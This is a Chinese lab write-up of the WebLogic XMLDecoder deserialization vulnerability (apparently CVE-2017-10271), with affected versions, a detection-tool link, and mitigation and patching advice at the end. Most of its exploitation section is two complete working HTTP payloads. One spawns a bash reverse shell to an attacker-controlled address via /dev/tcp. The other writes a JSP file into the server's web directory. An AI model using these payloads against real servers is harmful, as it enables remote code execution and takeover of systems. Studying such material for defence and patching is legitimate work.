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Weblogic XMLDecoder 反序列化漏洞(CVE-2

Weblogic XMLDecoder 反序列化漏洞(CVE-2

作者: 低调求发展 | 来源:发表于2019-12-23 18:05 被阅读0次

漏洞环境:

搭建参考:https://www.freebuf.com/column/204885.html

10.3.6.0weblogic

影响版本:

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

漏洞检测:

检测存在漏洞

检测工具下载地址:链接:https://pan.baidu.com/s/16d8aiHJs5wzlkz8pKq1m3g

提取码:vnao

漏洞利用:

反弹shell:

附poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.220.131:7001

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: text/xml

Content-Length: 644

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.220.128/5555 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

1.首先打开kali,侦听端口192.168.220.128:5555

2.使用burp发送poc:

查看kali,可以发现反弹shell。

写入shell

附poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.220.131:7001

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: text/xml

Content-Length: 642

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

    <java><java version="1.4.0" class="java.beans.XMLDecoder">

    <object class="java.io.PrintWriter">

    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>

    <void method="println"><string>

    <![CDATA[

<% out.print("test"); %>

    ]]>

    </string>

    </void>

    <void method="close"/>

    </object></java></java>

    </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

访问http://192.168.220.131:7001/bea_wls_internal/test.jsp

漏洞防御

1、临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2、’官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。

参考链接:

https://blog.csdn.net/qq_29647709/article/details/84928306

https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

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